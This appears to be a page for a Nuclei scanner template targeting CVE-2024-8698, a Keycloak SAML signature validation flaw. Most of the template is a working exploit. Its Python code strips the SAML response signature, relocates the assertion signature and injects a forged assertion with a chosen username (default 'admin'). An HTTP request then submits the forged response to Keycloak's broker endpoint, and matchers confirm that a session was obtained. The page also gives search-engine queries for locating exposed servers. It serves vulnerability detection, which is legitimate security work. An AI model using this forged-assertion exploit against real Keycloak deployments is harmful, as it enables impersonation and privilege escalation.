Skip to content

Keycloak - SAML Core Package Signature Validation Flaw

ID: CVE-2024-8698

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,keycloak,saml,signature

A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.

id: CVE-2024-8698
info:
name: Keycloak - SAML Core Package Signature Validation Flaw
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-8698
- https://access.redhat.com/errata/RHSA-2024:6878
- https://access.redhat.com/errata/RHSA-2024:6879
- https://access.redhat.com/errata/RHSA-2024:6880
- https://access.redhat.com/errata/RHSA-2024:6882
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L
cvss-score: 7.7
cve-id: CVE-2024-8698
cwe-id: CWE-347
epss-score: 0.00125
epss-percentile: 0.47937
metadata:
verified: true
max-request: 1
vendor: redhat
product: keycloak
shodan-query: http.favicon.hash:"-1105083093"
fofa-query: icon_hash=-1105083093
google-query: intitle:"keycloak"
tags: cve,cve2024,keycloak,saml,signature
variables:
AUTH_SESSION_ID_LEGACY: "{{auth_cookie}}" # Cookie of the valid SAMLResponse message
RELAYSTATE: "{{relayState}}" # Relaystate linked to the Cookie
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
import os
import base64
import urllib.parse
from lxml import etree
# Get environment variables
username = b'[email protected]'
saml_response = os.getenv('SAMLResponse')
username = os.getenv('username')
if not username:
username='admin'
# Decode and parse the SAML response
xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
parser = etree.XMLParser(remove_blank_text=True)
root = etree.fromstring(xml_content, parser)
# Define namespaces
namespaces = {
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'ds': 'http://www.w3.org/2000/09/xmldsig#'
}
# Find the <ds:Signature> element inside the root
response_signature = root.find('.//ds:Signature', namespaces)
if response_signature is not None:
root.remove(response_signature) # Remove the <ds:Signature> element from the root
# Find the <saml:Assertion> element (this is the old assertion)
old_ass = root.find('.//saml:Assertion', namespaces)
ass_signode = old_ass.find('./ds:Signature',namespaces)
if ass_signode is not None:
old_ass.remove(ass_signode)
issuer = root.find('.//saml:Issuer', namespaces)
issuer.addnext(ass_signode)
mod_ass = etree.fromstring(etree.tostring(old_ass))
mod_ass.find('.//saml:NameID',namespaces).text = username
for s in mod_ass.findall('.//saml:AttributeValue',namespaces):
s.text = username
mod_ass.attrib['ID'] = mod_ass.attrib['ID'][:-1]
resp_issuer = root.find('.//samlp:Status', namespaces)
resp_issuer.addnext(mod_ass)
modified_saml_response = etree.tostring(root, pretty_print=False, encoding='UTF-8', xml_declaration=False).decode('utf-8')
print(modified_saml_response)
http:
- raw:
- |
POST /realms/master/broker/saml/endpoint HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: AUTH_SESSION_ID_LEGACY={{AUTH_SESSION_ID_LEGACY}}
RelayState={{RELAYSTATE}}&SAMLResponse={{urlencode(base64(code_response))}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains_all(header,"KEYCLOAK_IDENTITY","KEYCLOAK_SESSION")'
condition: and
# digest: 4a0a00473045022100cfb10aebd139efec88629171945193667b4d72306934797c4dc37493254b532c0220479fd3bc7efa16198d09ad3edb24b1ece2b13b379c9f3a02aea9b1808649618b:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-8698.yaml"

View on Github